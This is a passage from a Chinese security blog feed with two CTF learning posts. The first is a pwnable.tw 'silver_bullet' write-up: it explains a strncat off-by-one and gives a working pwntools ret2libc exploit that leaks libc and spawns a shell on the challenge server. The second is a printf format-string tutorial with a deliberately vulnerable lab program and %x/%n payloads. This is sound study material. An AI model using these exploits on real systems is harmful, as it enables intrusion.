alt=""><br>从beat函数中首先可以看出的是，这里还有一个结构体记录了wolfman的基本情况：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">WolfMan</span>&#123;</span></span><br><span class="line">    <span class="type">char</span> name[<span class="number">4</span>] = <span class="string">&quot;Gin&quot;</span>;</span><br><span class="line">    <span class="type">int</span> life = <span class="number">0x7fffffff</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>大概就是拿之前子弹中的字符串的长度作为power去减去此时的wolfman此时的life。</p><p>大体已经过了一遍了，然后主要有可能存在漏洞的就是那个strlen和strncat上。顺便注意，此程序的输入输出流是打开了缓存的。<br>后来想起来，size_t其实是<strong>无符号数</strong>那么之前出现过的read_input中的:<br><img src="/2017/01/29/pwnbale-tw4/pwnbale-4-10.png" alt=""><br>此时的nbyte的长度可以通过溢出变得很大！那么接下来就要思考一下如何让这个溢出变大。然后仔细检查，发现问题的关键好像在于strncat：<br>首先要知道，\0是不会算在strlen的长度里面的，所以如果我们第一次输入的数据就达到了40字节的话，第41字节会被置为0，然后接下来我们在power_up中就存在8可以输入的字符的大小，但是如果此时我们故意输入过于长的字符串，如’aaaaaaaa’，那么此时当进入如下的代码时<br><img src="/2017/01/29/pwnbale-tw4/pwnbale-4-11.png" alt=""><br>这个strncat会企图在字符串的末尾处增加’\0’,而这个增加的位置正好会将原先记录了字符串长度的值冲刷成0:<br><img src="/2017/01/29/pwnbale-tw4/pwnbale-4-12.png" alt=""><br>因此我们能够绕过此处的检测，输入更长的字符串，从而实现攻击。由于我们知道此时的栈中情况为<br><img src="/2017/01/29/pwnbale-tw4/pwnbale-4-13.png" alt=""><br>所以此时我们需要构造的栈情况为<br><img src="/2017/01/29/pwnbale-tw4/pwnbale-4-14.png" alt=""><br>由于我们尽可能的节约空间，使得我们有47个字节左右可以使用，除去padding，我们还剩下40个字节，相当于可以插入10个地址。那么我们首先要确定当前运行时候的动态链接库中函数映射到内存中的地址，所以此时我们可以先通过跳转到puts函数中，并且将atoi的函数地址泄漏出来，然后通过相对位置的计算，计算出system的地址，再次跳转并且执行/bin/sh(写入栈中)。<br>那么首先我们找到puts的地址：<br><img src="/2017/01/29/pwnbale-tw4/pwnbale-4-15.png" alt=""><br>此地址为0x080484A8,然后是输出此时的atoi的地址，为：<br><img src="/2017/01/29/pwnbale-tw4/pwnbale-4-16.png" alt=""><br>地址为0x0804AFF8区别于puts，这部分内容是写在数据段的，也就是&quot;会在调用一次后就被修改内容的地址位置&quot;，由于atoi执行过，此时的atoi就会泄漏自己的地址。然后我们在libc_32.so.6中找到这个函数的位置：<br><img src="/2017/01/29/pwnbale-tw4/pwnbale-4-17.png" alt=""><br>以及system的位置:<br><img src="/2017/01/29/pwnbale-tw4/pwnbale-4-18.png" alt=""><br>计算可以知道两者的偏移差距为system:0x0003A940 - atoi:0x0002D050，也就是我们泄漏的地址addr -0x0002d050 + 0x0003a940 = 当前的system的地址。<br>然后花了好久思考如何凑个/bin/sh出来，因为我在IDA的string中没有找到这个变量，然后孤注一掷，在debian里面用了strings查看，居然找到了？！那这个是怎么回事？点开IDA发现.rodata中有一部分内被识别成了function…将其undefined之后就会变回字符串，最后找到了/bin/sh的地址为00158E8B.<br>突然意识到，还是得分两步来实现这个过程：首先第一次，使用puts将地址泄漏之后，我们还得回到原先的main函数的位置，让整个函数重新执行一遍，并且在这一次中实现system的跳转，才有可能实现我们的攻击。<br>第一次构造的栈为<br><img src="/2017/01/29/pwnbale-tw4/pwnbale-4-19.png" alt=""><br>第二次构造的栈为<br><img src="/2017/01/29/pwnbale-tw4/pwnbale-4-20.png" alt=""><br>构造如上栈，进行进攻。<br>发现这种攻击好难写。。。。非常长还容易写错。。调试好久才调试通过:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#   -*- coding:utf-8 -*-</span></span><br><span class="line"><span class="comment">#!usr/bing.env python</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">DEBUG = <span class="number">0</span></span><br><span class="line"><span class="keyword">if</span> DEBUG:</span><br><span class="line">    context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line">    context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line">    ph = process(<span class="string">&quot;./silver_bullet&quot;</span>)</span><br><span class="line">    <span class="comment"># gdb.attach(ph,execute = &quot;b *0x0804892c&quot;)</span></span><br><span class="line">    gdb.attach(ph,execute = <span class="string">&quot;b *0x08048A18&quot;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    ph = remote(<span class="string">&quot;139.162.123.119&quot;</span>,<span class="string">&#x27;10103&#x27;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">paddings = <span class="string">&#x27;a&#x27;</span>*<span class="number">46</span></span><br><span class="line">systemAddr = <span class="number">0x0003a940</span></span><br><span class="line">shAddr = <span class="number">0x00158E8B</span></span><br><span class="line">atoiAddr = <span class="number">0x0002d050</span></span><br><span class="line">mainAddr = <span class="number">0x08048954</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getPwn</span>():</span><br><span class="line">    <span class="string">&quot;&quot;&quot; get bug to control stack</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;[*] =============== get pwn&quot;</span></span><br><span class="line">    ph.recvuntil(<span class="string">&quot;:&quot;</span>)</span><br><span class="line">    ph.send(<span class="string">&quot;1\n&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span> ph.recv(<span class="number">1024</span>)</span><br><span class="line"></span><br><span class="line">    ph.send(paddings+<span class="string">&#x27;\0&#x27;</span>)</span><br><span class="line">    ph.recvuntil(<span class="string">&quot;:&quot;</span>)</span><br><span class="line">    ph.send(<span class="string">&quot;2\n&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span> ph.recv(<span class="number">1024</span>)</span><br><span class="line">    ph.send(<span class="string">&quot;a&quot;</span>*<span class="number">2</span> +<span class="string">&#x27;\0&#x27;</span>)</span><br><span class="line">    <span class="comment"># then we begin to pwn it</span></span><br><span class="line">    <span class="comment"># because of our pwn, there will receive an error message,so we should ingore it</span></span><br><span class="line">    <span class="built_in">print</span> ph.recv(<span class="number">1024</span>)</span><br><span class="line">    ph.send(<span class="string">&quot;2\n&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span> ph.recv(<span class="number">1024</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">leakSystem</span>():</span><br><span class="line">    <span class="string">&quot;&quot;&quot; leak system and /bin/sh addr</span></span><br><span class="line"><span class="string">    stack as</span></span><br><span class="line"><span class="string">    ------------------------------------------</span></span><br><span class="line"><span class="string">    |puts addr| main addr | atoi .got.plt addr</span></span><br><span class="line"><span class="string">    ------------------------------------------</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    ph.send(p32(<span class="number">0x7fffffff</span>)+ <span class="string">&#x27;a&#x27;</span>*<span class="number">3</span> + p32(<span class="number">0x080484A8</span>)+p32(mainAddr)+p32(<span class="number">0x0804AFF8</span>))</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span> ph.recv(<span class="number">1024</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># try to pwn!</span></span><br><span class="line">    ph.send(<span class="string">&quot;3\n&quot;</span>)</span><br><span class="line">    sleep(<span class="number">1</span>)</span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;Oh ! You win !!\n&quot;</span>)</span><br><span class="line">    addr = ph.recv(<span class="number">4</span>)</span><br><span class="line">    <span class="built_in">print</span> addr</span><br><span class="line">    addr = u32(addr[:<span class="number">4</span>])</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;now the address is %x&quot;</span>%addr</span><br><span class="line">    <span class="comment"># ph.interactive()</span></span><br><span class="line">    <span class="keyword">return</span> addr</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getShell</span>(<span class="params">atoiRealAddr</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot; because get atoi address,we can really pwn the stack</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    sysReal = systemAddr + atoiRealAddr - atoiAddr</span><br><span class="line">    shReal = shAddr + atoiRealAddr - atoiAddr</span><br><span class="line">    ph.send(p32(<span class="number">0x7fffffff</span>) + <span class="string">&#x27;a&#x27;</span>*<span class="number">3</span> + p32(sysReal) + <span class="string">&#x27;a&#x27;</span>*<span class="number">4</span> + p32(shReal))</span><br><span class="line">    <span class="built_in">print</span> ph.recv(<span class="number">1024</span>)</span><br><span class="line">    <span class="comment"># try to pwn!</span></span><br><span class="line">    ph.send(<span class="string">&quot;3\n&quot;</span>)</span><br><span class="line">    sleep(<span class="number">1</span>)</span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;Oh ! You win !!\n&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    getPwn()</span><br><span class="line">    atoiRealAddr = leakSystem()</span><br><span class="line">    getPwn()</span><br><span class="line">    getShell(atoiRealAddr)</span><br><span class="line"></span><br><span class="line">    ph.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>末尾附上strncat的代码（？）</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/***</span></span><br><span class="line"><span class="comment">*strncat.c - append n chars of string to new string</span></span><br><span class="line"><span class="comment">*</span></span><br><span class="line"><span class="comment">*       Copyright (c) Microsoft Corporation. All rights reserved.</span></span><br><span class="line"><span class="comment">*</span></span><br><span class="line"><span class="comment">*Purpose:</span></span><br><span class="line"><span class="comment">*       defines strncat() - appends n characters of string onto</span></span><br><span class="line"><span class="comment">*       end of other string</span></span><br><span class="line"><span class="comment">*</span></span><br><span class="line"><span class="comment">*******************************************************************************/</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;cruntime.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/***</span></span><br><span class="line"><span class="comment">*char *strncat(front, back, count) - append count chars of back onto front</span></span><br><span class="line"><span class="comment">*</span></span><br><span class="line"><span class="comment">*Purpose:</span></span><br><span class="line"><span class="comment">*       Appends at most count characters of the string back onto the</span></span><br><span class="line"><span class="comment">*       end of front, and ALWAYS terminates with a null character.</span></span><br><span class="line"><span class="comment">*       If count is greater than the length of back, the length of back</span></span><br><span class="line"><span class="comment">*       is used instead.  (Unlike strncpy, this routine does not pad out</span></span><br><span class="line"><span class="comment">*       to count characters).</span></span><br><span class="line"><span class="comment">*</span></span><br><span class="line"><span class="comment">*Entry:</span></span><br><span class="line"><span class="comment">*       char *front - string to append onto</span></span><br><span class="line"><span class="comment">*       char *back - string to append</span></span><br><span class="line"><span class="comment">*       unsigned count - count of max characters to append</span></span><br><span class="line"><span class="comment">*</span></span><br><span class="line"><span class="comment">*Exit:</span></span><br><span class="line"><span class="comment">*       returns a pointer to string appended onto (front).</span></span><br><span class="line"><span class="comment">*</span></span><br><span class="line"><span class="comment">*Uses:</span></span><br><span class="line"><span class="comment">*</span></span><br><span class="line"><span class="comment">*Exceptions:</span></span><br><span class="line"><span class="comment">*</span></span><br><span class="line"><span class="comment">*******************************************************************************/</span></span><br><span class="line"></span><br><span class="line"><span class="type">char</span> * __cdecl <span class="title function_">strncat</span> <span class="params">(</span></span><br><span class="line"><span class="params">        <span class="type">char</span> * front,</span></span><br><span class="line"><span class="params">        <span class="type">const</span> <span class="type">char</span> * back,</span></span><br><span class="line"><span class="params">        <span class="type">size_t</span> count</span></span><br><span class="line"><span class="params">        )</span></span><br><span class="line">&#123;</span><br><span class="line">        <span class="type">char</span> *start = front;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">while</span> (*front++)</span><br><span class="line">                ;</span><br><span class="line">        front--;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">while</span> (count--)</span><br><span class="line">                <span class="keyword">if</span> (!(*front++ = *back++))</span><br><span class="line">                        <span class="keyword">return</span>(start);</span><br><span class="line"></span><br><span class="line">        *front = <span class="string">&#x27;\0&#x27;</span>;</span><br><span class="line">        <span class="keyword">return</span>(start);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;之前傻傻的按顺序来做题目导致老是碰壁，所以现在找了个简单的题目来做&lt;/p&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="pwnable" scheme="https://showlinkroom.me/tags/pwnable/"/>
    
  </entry>
  
  <entry>
    <title>printf的格式化漏洞</title>
    <link href="https://showlinkroom.me/2017/01/28/pwn-learn-printf/"/>
    <id>https://showlinkroom.me/2017/01/28/pwn-learn-printf/</id>
    <published>2017-01-28T13:53:43.000Z</published>
    <updated>2020-07-16T13:31:30.396Z</updated>
    
    <content type="html"><![CDATA[<p>printf的漏洞听过好多次，但是总是没有成功利用过，这里记录学习过程。</p><span id="more"></span><h3 id="printf格式化字符串漏洞">printf格式化字符串漏洞</h3><h4 id="1-简单介绍">1.简单介绍</h4><p>printf的正确使用方式应该是:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span>(format_string, arg0,arg1...)</span><br></pre></td></tr></table></figure><p>由于C允许函数的参数不固定，这就使printf的参数在编译过程中不会特意的检查参数的数量。而格式化字符串漏洞为:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span>(user_str)</span><br></pre></td></tr></table></figure><p>也就是【由用户来输入格式化字符串从而导致的漏洞】。</p><h4 id="2-格式化字符串">2.格式化字符串</h4><p>常用的格式化字符串类型有以下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">|   符号           |       作用               |</span><br><span class="line">-----------------------------------------------</span><br><span class="line">|    %d            |  十进制有符号整数         |</span><br><span class="line">|    %u            |  十进制无符号整数         |</span><br><span class="line">|    %f            |  浮点数                  |</span><br><span class="line">|    %s            |  字符串                  |</span><br><span class="line">|    %c            |  单个字符                |</span><br><span class="line">|    %p            |  指针的值                |</span><br><span class="line">|    %e            |  指数形式的浮点数         |</span><br><span class="line">|    %x            |  无符号以十六进制表示的整数|</span><br><span class="line">|    %o            |  无符号以八进制表示的整数  |</span><br><span class="line">|    %g            |  自动选择合适的表示法     |  </span><br><span class="line">|    %n            |  将printf之前已经输出的字符串个数赋给指定参数（此时参数提供地址）|  </span><br></pre></td></tr></table></figure><ul><li>其中，在%之后紧跟数字的话，可以指定输出的长度。如%7f,表示输出的浮点数宽度为7（包括小数点）。</li><li>还可以指定输出的填充，比如%08x,表示如果输出长度不足8，则用0来填充。</li><li>如果在%之后添加l,表示此时使用【长】类型数，比如%ld:长整形，%lf:双精度浮点</li><li>如果在%之后紧跟者<code>$num</code>的话，表示是【作用于第num个参数】</li></ul><p>**【备注】**对于snprintf这类，会限制输入长度的printf而言，形如下列的例子:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">input = &quot;%025x%n&quot;</span><br><span class="line">snprintf(tmp, 18, input, value1, value2)</span><br></pre></td></tr></table></figure><p>这类题目，0最多会输出18个到tmp中,但是value2的值<strong>依然为25</strong>，因此可以断定，格式化字符串%n对于输出长度的计算不是<strong>真的会有多少个字符输出</strong>，而是<strong>理论上有多少个字符将会存在</strong></p><h3 id="3-格式化字符串漏洞">3.格式化字符串漏洞</h3><p>其中利用%x可以轻易的泄漏指定地址的信息，如:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;%12d%x&quot;</span>)</span><br></pre></td></tr></table></figure><p>注意到之后并没有紧跟着其他的参数，但是printf本身不会判断后面是否有跟着其他参数，而是会模拟一个取参数的过程<br><img src="/2017/01/28/pwn-learn-printf/printf_stack.png" alt=""><br>可以看到，printf是通过【读取format_str】中指定的参数，然后直接操作栈，从栈中紧临着格式化字符串上的区域中取出参数，并且输出相关数据。所以当用户来指定format_str的时候，就可以通过这一点将栈中的一些信息泄漏出来。<br><img src="/2017/01/28/pwn-learn-printf/printf_stackoverflow.png" alt=""><br>这里假设我们的代码形式入下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> *argv[])</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">char</span> user_input[<span class="number">100</span>];</span><br><span class="line">    ... ... <span class="comment">/* other variable definitions and statements */</span></span><br><span class="line">    <span class="built_in">scanf</span>(<span class="string">&quot;%s&quot;</span>, user_input); <span class="comment">/* getting a string from user */</span></span><br><span class="line">    <span class="built_in">printf</span>(user_input); <span class="comment">/* Vulnerable place */</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 假设输入的字符串为</span></span><br><span class="line"><span class="comment">// &quot;\x10\x01\x48\x08 %x %x %x %x %s&quot;</span></span><br></pre></td></tr></table></figure><p>此时可以看到，用户并没有放入足够的参数，于是此时printf会将地址08480110输入到字符串中，同时，使用了%x使得栈的指针向后移动。由于参数是从右往左压入的，所以最左边的格式化字符串就位于栈最下的位置。四个%x总共就会将栈上移4*4 = 16字节，此时正好会将字符串中指定区域的数据输出。<br>同样的，如果将此时的%s更换成%n的话，就能够像指定的地址08480110中写入我们指定的数据。</p><p>这里有一个来自实验楼的测试：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* vul_prog.c */</span></span><br><span class="line"><span class="meta"># <span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta"># <span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta"># <span class="keyword">define</span> SECRET1 0x44</span></span><br><span class="line"><span class="meta"># <span class="keyword">define</span> SECRET2 0x55</span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> *argv[])</span></span><br><span class="line">&#123;</span><br><span class="line">      <span class="type">char</span> user_input[<span class="number">100</span>];</span><br><span class="line">      <span class="type">int</span> *secret;</span><br><span class="line">      <span class="type">long</span> int_input;</span><br><span class="line">      <span class="type">int</span> a, b, c, d; <span class="comment">/* other variables, not used here.*/</span></span><br><span class="line"></span><br><span class="line">      <span class="comment">/* The secret value is stored on the heap */</span></span><br><span class="line">      secret = (<span class="type">int</span> *) <span class="built_in">malloc</span>(<span class="number">2</span>*<span class="keyword">sizeof</span>(<span class="type">int</span>));</span><br><span class="line">      <span class="comment">/* getting the secret */</span></span><br><span class="line">      secret[<span class="number">0</span>] = SECRET1; secret[<span class="number">1</span>] = SECRET2;</span><br><span class="line"></span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;The variable secret&#x27;s address is 0x%8x (on stack)\n&quot;</span>, &amp;secret);</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;The variable secret&#x27;s value is 0x%8x (on heap)\n&quot;</span>, secret);</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;secret[0]&#x27;s address is 0x%8x (on heap)\n&quot;</span>, &amp;secret[<span class="number">0</span>]);</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;secret[1]&#x27;s address is 0x%8x (on heap)\n&quot;</span>, &amp;secret[<span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;Please enter a decimal integer\n&quot;</span>);</span><br><span class="line">      <span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>, &amp;int_input);  <span class="comment">/* getting an input from user */</span></span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;Please enter string\n&quot;</span>);</span><br><span class="line">      <span class="built_in">scanf</span>(<span class="string">&quot;%s&quot;</span>, &amp;user_input);</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* Vulnerable place */</span></span><br><span class="line">      <span class="built_in">printf</span>(user_input);</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* Verify whether your attack is successful */</span></span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;The original secrets: 0x%x -- 0x%x\n&quot;</span>, SECRET1, SECRET2);</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;The new secrets:      0x%x -- 0x%x\n&quot;</span>, secret[<span class="number">0</span>], secret[<span class="number">1</span>]);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>实验目的是修改secret[1]的值为指定值，这里我们先分析一下:<br>思路：已知存在一个格式化字符串输出漏洞，那么我们可以构造字符串，像指定地址中写入数据。<br>首先我们需要知道字符串开始的地址，通过gdb调试，我们能够得到开始的地址为[ebp-0x6c]，而此时的栈头部为[ebp-0x88]<br><img src="/2017/01/28/pwn-learn-printf/printf-01.png" alt=""><br>此时可以算出，期间相间的地址为6个空间大小，那么此时可以通过6个%x将printf的指针指向字符串的开头，在这个位置写下secret[1]的地址的话，就可以修改目标secret[1]的值。（后来发现，由于有输入参数int_input,可以往此种写入地址，然后直接让printf的%n作用在这个地址指向的位置即可）此地址为[ebp-0x74],那么距离参数只间隔4个%x,从而可以构建参数：<br>%x,%x,%x,%x,%s<br>结果如下<br><img src="/2017/01/28/pwn-learn-printf/printf-02.png" alt=""><br>显然，U的ascii码为55，所以此时的%s的确是将数据成功的泄漏了。那么通过将%s修改为%n的话，就能够修改指定值。<br><img src="/2017/01/28/pwn-learn-printf/printf-03.png" alt=""><br>成功。</p><h4 id="snprintf的特殊做法">snprintf的特殊做法:</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">snprintf(dst, size, fmt, ..);</span><br></pre></td></tr></table></figure><p>格式化字符串攻击是<strong>动态的</strong>。也就是说，在运行过程中，dst中的值如果能够<strong>根据fmt发生变化</strong>，那么就可以直接利用dst进行修改，而不是fmt。<br>例子:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">snprintf(dst, sizeof(fmt), argv[1]);</span><br></pre></td></tr></table></figure><p>上述题目要实现任意位置写，所以我们需要在某个可控位置放入addr，然后使用<code>%n</code>进行攻击。</p><h5 id="直接使用argv-1-？">直接使用argv[1]？</h5><p>如果想要在argv[1]中写入地址，并且直接利用的话，其实非常困难，因为argv[1]的内容<strong>会让栈发生动态变化</strong>，这一点是很要命的。。。因为你可能计算好了偏移量，但是exp的长度变化后整个长度都会变化。</p><h5 id="使用dst">使用dst</h5><p>由于snprintf这个函数<strong>没有缓冲，是立即生效的</strong>，所以如果我们输入的内容是:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x27;\xef\xbe\xad\xde&#x27;</span><br></pre></td></tr></table></figure><p>那么其实在栈中，dst就会有这个地址:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">0xbffffac0:     0xbffffaec      0x00000080      0xbffffd5a      0xb7fdcb48</span><br><span class="line">0xbffffad0:     0x00000001      0x00000000      0x00000001      0xbffffc14</span><br><span class="line">0xbffffae0:     0x00000000      0x00000000      0x04030201      0xdeadbeef  &lt;-----此时发生变化</span><br></pre></td></tr></table></figure><p>这样的话，我们就不必巧妙的计算exp的长度，从而防止偏移变化，而是直接写入到fmt的对应位置上即可。</p><h3 id="posix标准">POSIX标准</h3><p>POSIX标准中新增加了如下的标准:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%[parameter][flags][field width][.precision][length]type</span><br></pre></td></tr></table></figure><p>格式和原先差不多，但是可以使用【占位符】来指定【要操作的变量】。<br><code>n$</code><br>n是用这个格式说明符的第几个参数。<br>其中可以使用功能将数字扩栈:</p><ul><li><code>hhn$</code> – 将char类型扩展成int</li><li><code>hn$</code> – 